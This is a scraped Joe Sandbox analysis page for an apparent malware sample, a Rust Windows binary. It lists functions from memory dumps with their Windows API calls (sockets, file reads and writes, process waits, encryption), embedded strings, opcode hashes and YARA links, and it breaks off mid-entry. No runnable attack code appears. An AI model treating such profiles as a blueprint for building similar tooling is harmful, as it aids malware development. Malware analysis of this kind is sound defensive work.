Source File: 00000000.00000002.1739936030.00007FF6819E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6819E0000, based on PE: true

Associated: 00000000.00000002.1739063064.00007FF6819E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745075290.00007FF681B4C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753980420.00007FF681BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755108185.00007FF681BFE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755803623.00007FF681C00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1756691971.00007FF681C03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6819e0000_TM3utH2CsU.jbxd

Similarity

API ID:
String ID: filled overflowIdleBusyDisabledInit$reqwest::blocking::wait) park timeout
API String ID: 0-1209931169
Opcode ID: 46d6537462bce0d8ca7b8d7f448152ee458a7d90bfe831e6f8a462594b3e08be
Instruction ID: c8818eb5f6f224c592c48ef75f3eab37078b553655201139b3b74326125f55a3
Opcode Fuzzy Hash: 46d6537462bce0d8ca7b8d7f448152ee458a7d90bfe831e6f8a462594b3e08be
Instruction Fuzzy Hash: D1228D32A0CB81D1EB609B11F4403AAB3A1FF85798F50513AEA9D87B9AEF7CD545C740

Function 00007FF6819E51CA Relevance: 5.7, Strings: 4, Instructions: 651
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

C:\Users\Public\Documents, xrefs: 00007FF6819E60E0
Could not seek to start of central directory, xrefs: 00007FF6819E5411
Invalid central directory size or offsetSupport for multi-disk files is not implementedC:\Users\N1nhpro\.cargo\registry\src\index.crates.io-6f17d22bba15001f\zip-0.5.13\src\read.rsPassword required to decrypt file, xrefs: 00007FF6819E52D4
\5, xrefs: 00007FF6819E5E7F

Memory Dump Source

Source File: 00000000.00000002.1739936030.00007FF6819E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6819E0000, based on PE: true

Associated: 00000000.00000002.1739063064.00007FF6819E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745075290.00007FF681B4C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753980420.00007FF681BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755108185.00007FF681BFE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755803623.00007FF681C00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1756691971.00007FF681C03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6819e0000_TM3utH2CsU.jbxd

Similarity

API ID:
String ID: C:\Users\Public\Documents$Could not seek to start of central directory$Invalid central directory size or offsetSupport for multi-disk files is not implementedC:\Users\N1nhpro\.cargo\registry\src\index.crates.io-6f17d22bba15001f\zip-0.5.13\src\read.rsPassword required to decrypt file$\5
API String ID: 0-814442562
Opcode ID: 6ac88a5665d7762658ff884d0be3e43ee818c9e92e733620a1b93609b32a0143
Instruction ID: 5e17fa13a00a3ce028eca8e375880a5183883684ce3da5c736b2281f864f53cf
Opcode Fuzzy Hash: 6ac88a5665d7762658ff884d0be3e43ee818c9e92e733620a1b93609b32a0143
Instruction Fuzzy Hash: 765260B66097C1C1EF719B01E0543AAA3A1FF99B84F444529DE8D87B8ADFBDE644C700

Function 00007FF681B09F70 Relevance: 4.6, APIs: 3, Instructions: 143fileCOMMON

Download Yara Rule

APIs

CloseHandle.KERNELBASE ref: 00007FF681B0A0D7
FindFirstFileW.KERNEL32 ref: 00007FF681B0A10F
FindClose.KERNEL32 ref: 00007FF681B0A122

Memory Dump Source

Source File: 00000000.00000002.1739936030.00007FF6819E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6819E0000, based on PE: true

Associated: 00000000.00000002.1739063064.00007FF6819E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745075290.00007FF681B4C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753980420.00007FF681BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755108185.00007FF681BFE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755803623.00007FF681C00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1756691971.00007FF681C03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6819e0000_TM3utH2CsU.jbxd

Similarity

API ID: CloseFind$FileFirstHandle
String ID:
API String ID: 1310327803-0
Opcode ID: f0158eddd938f4d31075f76210922917d883c56e23f924b351556fdff6891521
Instruction ID: a45f3ad5106e995ff73bc70a7577c292a018d936f37e906cd054c3e0f965bad7
Opcode Fuzzy Hash: f0158eddd938f4d31075f76210922917d883c56e23f924b351556fdff6891521
Instruction Fuzzy Hash: E5519072A04B85C6E730CF62E9443AA3361FF4A798F005639CE5E8AB95DF7CA541C300

Function 00007FF681B0A8E0 Relevance: 4.6, APIs: 3, Instructions: 83filenativesynchronizationCOMMON

Download Yara Rule

APIs

NtWriteFile.NTDLL ref: 00007FF681B0A951
WaitForSingleObject.KERNEL32 ref: 00007FF681B0A966
RtlNtStatusToDosError.NTDLL ref: 00007FF681B0A984

Memory Dump Source

Source File: 00000000.00000002.1739936030.00007FF6819E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6819E0000, based on PE: true

Associated: 00000000.00000002.1739063064.00007FF6819E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745075290.00007FF681B4C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753980420.00007FF681BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755108185.00007FF681BFE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755803623.00007FF681C00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1756691971.00007FF681C03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6819e0000_TM3utH2CsU.jbxd

Similarity

API ID: ErrorFileObjectSingleStatusWaitWrite
String ID:
API String ID: 3447438843-0
Opcode ID: 967789ab91cc5754a7bae8e18f9c85c07413dbb9384105885e16f1f25c1561ec
Instruction ID: 34d2088874207c4e68ee360108bca703325c19daa2082a4f527d359d84191ee5
Opcode Fuzzy Hash: 967789ab91cc5754a7bae8e18f9c85c07413dbb9384105885e16f1f25c1561ec
Instruction Fuzzy Hash: B5318D32B04B9189E710CB74E8407A933A0FF55398F509238EA8E82A98EF38D594C340

Function 00007FF681B0A7C0 Relevance: 4.6, APIs: 3, Instructions: 75filenativesynchronizationCOMMON

Download Yara Rule

APIs

NtReadFile.NTDLL ref: 00007FF681B0A831
WaitForSingleObject.KERNEL32 ref: 00007FF681B0A846
RtlNtStatusToDosError.NTDLL ref: 00007FF681B0A871

Memory Dump Source

Source File: 00000000.00000002.1739936030.00007FF6819E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6819E0000, based on PE: true

Associated: 00000000.00000002.1739063064.00007FF6819E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745075290.00007FF681B4C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753980420.00007FF681BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755108185.00007FF681BFE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755803623.00007FF681C00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1756691971.00007FF681C03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6819e0000_TM3utH2CsU.jbxd

Similarity

API ID: ErrorFileObjectReadSingleStatusWait
String ID:
API String ID: 3583596364-0
Opcode ID: f755643b28122b3f458863bcd14c53513c4e9cf1b5bfacf884d3ca0c2d88bd42
Instruction ID: fcf44cd57ffdc8f0c9a78f1fd0e0574dfad788598bf4351813b6a7baca6af78f
Opcode Fuzzy Hash: f755643b28122b3f458863bcd14c53513c4e9cf1b5bfacf884d3ca0c2d88bd42
Instruction Fuzzy Hash: 07318032F14B91C9F710CB74E9407A923A5BF55798F549138EA4E82A98EF3CD695C340

Function 00007FF681A5E090 Relevance: 3.8, APIs: 1, Strings: 1, Instructions: 293windowCOMMON

Download Yara Rule

APIs

EncryptMessage.SECUR32 ref: 00007FF681A5E212

Strings

assertion failed: !self.context.is_null(), xrefs: 00007FF681A5E32A

Memory Dump Source

Source File: 00000000.00000002.1739936030.00007FF6819E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6819E0000, based on PE: true

Associated: 00000000.00000002.1739063064.00007FF6819E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745075290.00007FF681B4C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753980420.00007FF681BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755108185.00007FF681BFE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755803623.00007FF681C00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1756691971.00007FF681C03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6819e0000_TM3utH2CsU.jbxd

Similarity

API ID: EncryptMessage
String ID: assertion failed: !self.context.is_null()
API String ID: 801064719-2445162553
Opcode ID: f76ca9d416a00d478e7a94317e7d6d7719f7a75fe3dbd719c19a6486ec9b5969
Instruction ID: f7b3286c71d14b2aede2ae3ba0a6bfa7a756f9ccf3a15fe36d6797a2bc4703ca
Opcode Fuzzy Hash: f76ca9d416a00d478e7a94317e7d6d7719f7a75fe3dbd719c19a6486ec9b5969
Instruction Fuzzy Hash: 5BB1AE62A0C682C5EB248B66E5457FABBA1FF45794F48403ADA8D87786DF3DE194C300

Function 00007FF681A03C9D Relevance: 2.0, Strings: 1, Instructions: 710COMMON

Download Yara Rule

Strings

assertion failed: buf.len() <= u32::MAX as usize/rustc/eeb90cda1969383f56a2637cbd3037bdf598841c\library\std\src\sys\pal\windows\io.rs, xrefs: 00007FF681A0488B, 00007FF681A049EE

Memory Dump Source

Source File: 00000000.00000002.1739936030.00007FF6819E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6819E0000, based on PE: true

Associated: 00000000.00000002.1739063064.00007FF6819E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745075290.00007FF681B4C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753980420.00007FF681BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755108185.00007FF681BFE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755803623.00007FF681C00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1756691971.00007FF681C03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6819e0000_TM3utH2CsU.jbxd

Similarity

API ID:
String ID: assertion failed: buf.len() <= u32::MAX as usize/rustc/eeb90cda1969383f56a2637cbd3037bdf598841c\library\std\src\sys\pal\windows\io.rs
API String ID: 0-2770567909
Opcode ID: a360c3e335e0cb5adb9c382999cacadd8f9368ed88810d0235765e80df488e73
Instruction ID: 04ae134871bdabaf6591660ace8aab6279d82dbddf671941c0176ef76f667e32
Opcode Fuzzy Hash: a360c3e335e0cb5adb9c382999cacadd8f9368ed88810d0235765e80df488e73
Instruction Fuzzy Hash: E1528FB2A08B81C1EB608B15E0443BAA7A1FF85BC4F54903ADE8D87B95DF7DE585C740

Function 00007FF681AD1DF0 Relevance: 1.5, APIs: 1, Instructions: 14networkCOMMON

Download Yara Rule

APIs

bind.WS2_32 ref: 00007FF681AD1DFE

Memory Dump Source

Source File: 00000000.00000002.1739936030.00007FF6819E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6819E0000, based on PE: true

Associated: 00000000.00000002.1739063064.00007FF6819E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745075290.00007FF681B4C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753980420.00007FF681BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755108185.00007FF681BFE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755803623.00007FF681C00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1756691971.00007FF681C03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6819e0000_TM3utH2CsU.jbxd

Similarity

API ID: bind
String ID:
API String ID: 1187836755-0
Opcode ID: b7b01295207f5ec13f23a46845242dfcc85272dd4b805a12fbbc4af76e662dcc
Instruction ID: 4c8fd2f72dc9228a4d28047a5820c52bd445ee2247fefbffb821667edc3847e7
Opcode Fuzzy Hash: b7b01295207f5ec13f23a46845242dfcc85272dd4b805a12fbbc4af76e662dcc
Instruction Fuzzy Hash: D3D0C955F25982C2EB246B7398822791290BF99F80FD45838C94CC2750DE1CD9A6CB10

Function 00007FF681B48E40 Relevance: .3, Instructions: 323COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1739936030.00007FF6819E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6819E0000, based on PE: true

Associated: 00000000.00000002.1739063064.00007FF6819E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745075290.00007FF681B4C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753980420.00007FF681BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755108185.00007FF681BFE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755803623.00007FF681C00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1756691971.00007FF681C03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6819e0000_TM3utH2CsU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a2ad07a98b47da2b2c3d86c3731f2b9b742ce998308a706d0409bb1a9a3d97a5
Instruction ID: e596c23c921a60a5056b906813fac78a4083562271b55bd82afc5b7d00ce9e82
Opcode Fuzzy Hash: a2ad07a98b47da2b2c3d86c3731f2b9b742ce998308a706d0409bb1a9a3d97a5
Instruction Fuzzy Hash: CAA19A76B14A59D9FB24DBA1E8402EC63B1BB49B88F44953ADF4DA3B48DF38D185C300

Function 00007FF6819E9CD5 Relevance: .2, Instructions: 186COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1739936030.00007FF6819E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6819E0000, based on PE: true

Associated: 00000000.00000002.1739063064.00007FF6819E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745075290.00007FF681B4C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753980420.00007FF681BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755108185.00007FF681BFE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755803623.00007FF681C00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1756691971.00007FF681C03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6819e0000_TM3utH2CsU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4265ebee8175dd2dc5c160f434742ffeedfca483c1a126a5667a73bf3e47efa5
Instruction ID: 23ca645caa2647393c3bbbd2d150b99164ee5ab4631401e7b0c06b4498f3397d
Opcode Fuzzy Hash: 4265ebee8175dd2dc5c160f434742ffeedfca483c1a126a5667a73bf3e47efa5
Instruction Fuzzy Hash: 87515832A18781C2EB258B11E5407796760BF99BD8F009139DF8D87BA6EF7CE691C700

Function 00007FF681B05170 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 204
synchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CloseHandle.KERNEL32 ref: 00007FF681B051F3
CloseHandle.KERNEL32 ref: 00007FF681B052DE
WaitForSingleObject.KERNEL32 ref: 00007FF681B05332
GetLastError.KERNEL32 ref: 00007FF681B0533C
GetExitCodeProcess.KERNELBASE ref: 00007FF681B05395
CloseHandle.KERNEL32 ref: 00007FF681B053D3
CloseHandle.KERNEL32 ref: 00007FF681B053DA
CloseHandle.KERNEL32(?,?,?,?,?), ref: 00007FF681B054D3

Strings

called `Result::unwrap()` on an `Err` value, xrefs: 00007FF681B05292, 00007FF681B05451, 00007FF681B05485

Memory Dump Source

Source File: 00000000.00000002.1739936030.00007FF6819E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6819E0000, based on PE: true

Associated: 00000000.00000002.1739063064.00007FF6819E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745075290.00007FF681B4C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753980420.00007FF681BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755108185.00007FF681BFE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755803623.00007FF681C00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1756691971.00007FF681C03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6819e0000_TM3utH2CsU.jbxd

Similarity

API ID: CloseHandle$CodeErrorExitLastObjectProcessSingleWait
String ID: called `Result::unwrap()` on an `Err` value
API String ID: 17306042-2333694755
Opcode ID: b20bd8854ae282a5571f2fa0baa12186ad3ca1ce42a8a05485e2ff56e65ea4b1
Instruction ID: 236a1796ffc0fb88097c461984279545058cd11f8d7ce22735161df674ccae2e
Opcode Fuzzy Hash: b20bd8854ae282a5571f2fa0baa12186ad3ca1ce42a8a05485e2ff56e65ea4b1
Instruction Fuzzy Hash: 60A11932A04A85C9E7608F35E9403E923A0FB4A79CF54A139EE5E86B59DF38E585C340

Function 00007FF6819E2580 Relevance: 13.9, APIs: 4, Strings: 5, Instructions: 400
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CloseHandle.KERNEL32 ref: 00007FF6819E28F4
CloseHandle.KERNEL32 ref: 00007FF6819E3560

Strings

C:\Users\Public\Documents, xrefs: 00007FF6819E2590, 00007FF6819E2658, 00007FF6819E2728, 00007FF6819E2788, 00007FF6819E2833
*;, xrefs: 00007FF6819E25B1
j, xrefs: 00007FF6819E29D2
,j, xrefs: 00007FF6819E28FF
+], xrefs: 00007FF6819E36B0

Memory Dump Source

Source File: 00000000.00000002.1739936030.00007FF6819E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6819E0000, based on PE: true

Associated: 00000000.00000002.1739063064.00007FF6819E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745075290.00007FF681B4C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753980420.00007FF681BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755108185.00007FF681BFE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755803623.00007FF681C00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1756691971.00007FF681C03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6819e0000_TM3utH2CsU.jbxd

Similarity

API ID: CloseHandle
String ID: C:\Users\Public\Documents$j$*;$+]$,j
API String ID: 2962429428-3777149690
Opcode ID: 03aed20bb2046ee7e867cb9e32da91d5ea3069957b6c433b8e5239d8458c5abd
Instruction ID: 2988bfe2eba993c51a25db9a9323d379a334ec09b8b365b0e9e51ed145121cc2
Opcode Fuzzy Hash: 03aed20bb2046ee7e867cb9e32da91d5ea3069957b6c433b8e5239d8458c5abd
Instruction Fuzzy Hash: 2A02A161B0C6C2C0EF759B15E4503BA6351FF85BC8F449139DA8E87B9ADE6CE645C700

Function 00007FF681B0C510 Relevance: 10.7, APIs: 7, Instructions: 185
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF681B0C8C0: CreateEventW.KERNEL32(?,?,?,00000000,?,?,?,00007FF681B0C54D), ref: 00007FF681B0C8F0

CloseHandle.KERNEL32 ref: 00007FF681B0C55F
WaitForMultipleObjects.KERNEL32 ref: 00007FF681B0C601
GetOverlappedResult.KERNEL32 ref: 00007FF681B0C63F
GetLastError.KERNEL32 ref: 00007FF681B0C7A3

Memory Dump Source

Source File: 00000000.00000002.1739936030.00007FF6819E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6819E0000, based on PE: true

Associated: 00000000.00000002.1739063064.00007FF6819E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745075290.00007FF681B4C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753980420.00007FF681BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755108185.00007FF681BFE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755803623.00007FF681C00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1756691971.00007FF681C03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6819e0000_TM3utH2CsU.jbxd

Similarity

API ID: CloseCreateErrorEventHandleLastMultipleObjectsOverlappedResultWait
String ID:
API String ID: 1266231692-0
Opcode ID: 5a8317c324d036f3800d9287708c25061e7c3145047dcd172a4112818dc27c98
Instruction ID: f4063bcf28b5cc2fd9b8270478e84428a95b858312ec81a98c63fcc62156f1a9
Opcode Fuzzy Hash: 5a8317c324d036f3800d9287708c25061e7c3145047dcd172a4112818dc27c98
Instruction Fuzzy Hash: FD818E22E08B95C9FB208B75D9403AC2360FF16798F10667AEE1D97B99CF78E845C340

Function 00007FF681B0AA00 Relevance: 10.6, APIs: 7, Instructions: 68
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WSASocketW.WS2_32 ref: 00007FF681B0AA3F
WSAGetLastError.WS2_32 ref: 00007FF681B0AA52
WSASocketW.WS2_32 ref: 00007FF681B0AA83
SetHandleInformation.KERNEL32 ref: 00007FF681B0AA9F
GetLastError.KERNEL32 ref: 00007FF681B0AAA9
closesocket.WS2_32 ref: 00007FF681B0AABC
WSAGetLastError.WS2_32 ref: 00007FF681B0AACC

Memory Dump Source

Source File: 00000000.00000002.1739936030.00007FF6819E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6819E0000, based on PE: true

Associated: 00000000.00000002.1739063064.00007FF6819E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745075290.00007FF681B4C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753980420.00007FF681BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755108185.00007FF681BFE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755803623.00007FF681C00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1756691971.00007FF681C03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6819e0000_TM3utH2CsU.jbxd

Similarity

API ID: ErrorLast$Socket$HandleInformationclosesocket
String ID:
API String ID: 3114377017-0
Opcode ID: 7725e9d2c03a8824f1e27d0762729be1d756b6033669429f4d5567e63e14e346
Instruction ID: 0f47734abb769e307dd0a89feab74334f0273cd5d59c6cd23948de542355d49f
Opcode Fuzzy Hash: 7725e9d2c03a8824f1e27d0762729be1d756b6033669429f4d5567e63e14e346
Instruction Fuzzy Hash: 0821A422B0856187F7304B75A5057262650BF4ABB4F14A734DD6E83BD4DE7D9C86C740

Function 00007FF681A81A20 Relevance: 9.3, APIs: 1, Strings: 4, Instructions: 565
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF681AD1D40: WSASocketW.WS2_32 ref: 00007FF681AD1D7A

closesocket.WS2_32 ref: 00007FF681A81E5A

Strings

rror, xrefs: 00007FF681A81E0E
en error, xrefs: 00007FF681A81AA9
tcp open, xrefs: 00007FF681A81AB7
FieldSet corrupted (this is a bug)C:\Users\N1nhpro\.cargo\registry\src\index.crates.io-6f17d22bba15001f\hyper-0.14.30\src\client\connect\http.rs, xrefs: 00007FF681A8246A, 00007FF681A82482, 00007FF681A8249A, 00007FF681A824B2

Memory Dump Source

Source File: 00000000.00000002.1739936030.00007FF6819E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6819E0000, based on PE: true

Associated: 00000000.00000002.1739063064.00007FF6819E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745075290.00007FF681B4C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753980420.00007FF681BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755108185.00007FF681BFE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755803623.00007FF681C00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1756691971.00007FF681C03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6819e0000_TM3utH2CsU.jbxd

Similarity

API ID: Socketclosesocket
String ID: FieldSet corrupted (this is a bug)C:\Users\N1nhpro\.cargo\registry\src\index.crates.io-6f17d22bba15001f\hyper-0.14.30\src\client\connect\http.rs$en error$rror$tcp open
API String ID: 230593038-485223563
Opcode ID: 514fea955cb3df0a078031c931024b9f002ffe1d3b60b4704b080d80a73ff853
Instruction ID: 9875ff86239b5d8600171fab4edca0437f7a66adac943125f60a3b1f93a56c85
Opcode Fuzzy Hash: 514fea955cb3df0a078031c931024b9f002ffe1d3b60b4704b080d80a73ff853
Instruction Fuzzy Hash: 1E527E32A19BC1C6EB608B14E4803BA73A5FF85744F44913ADA8D87BA5EF7DE584C710

Function 00007FF681AFD300 Relevance: 9.1, APIs: 6, Instructions: 81
timesleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWaitableTimerExW.KERNEL32 ref: 00007FF681AFD331
SetWaitableTimer.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF6819E1725), ref: 00007FF681AFD385
WaitForSingleObject.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF6819E1725), ref: 00007FF681AFD397
CloseHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF6819E1725), ref: 00007FF681AFD3A3
CloseHandle.KERNEL32 ref: 00007FF681AFD3B4
Sleep.KERNEL32 ref: 00007FF681AFD3FE

Memory Dump Source

Source File: 00000000.00000002.1739936030.00007FF6819E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6819E0000, based on PE: true

Associated: 00000000.00000002.1739063064.00007FF6819E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745075290.00007FF681B4C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753980420.00007FF681BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755108185.00007FF681BFE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755803623.00007FF681C00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1756691971.00007FF681C03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6819e0000_TM3utH2CsU.jbxd

Similarity

API ID: CloseHandleTimerWaitable$CreateObjectSingleSleepWait
String ID:
API String ID: 2261246915-0
Opcode ID: 26ac27a8b747427de5c8cac5333cef90dcce9f98de2ee2ad124121a843085cf2
Instruction ID: 2ef733b43cde1e388f29470a625baecafb6587ee33776032d14d11d2e1ae6aed
Opcode Fuzzy Hash: 26ac27a8b747427de5c8cac5333cef90dcce9f98de2ee2ad124121a843085cf2
Instruction Fuzzy Hash: 3D210E22F05A1282FF6D8726A5153395156FF89BA4F049339DE2EC27D4DF7C6841C300

Function 00007FF681AFCB90 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

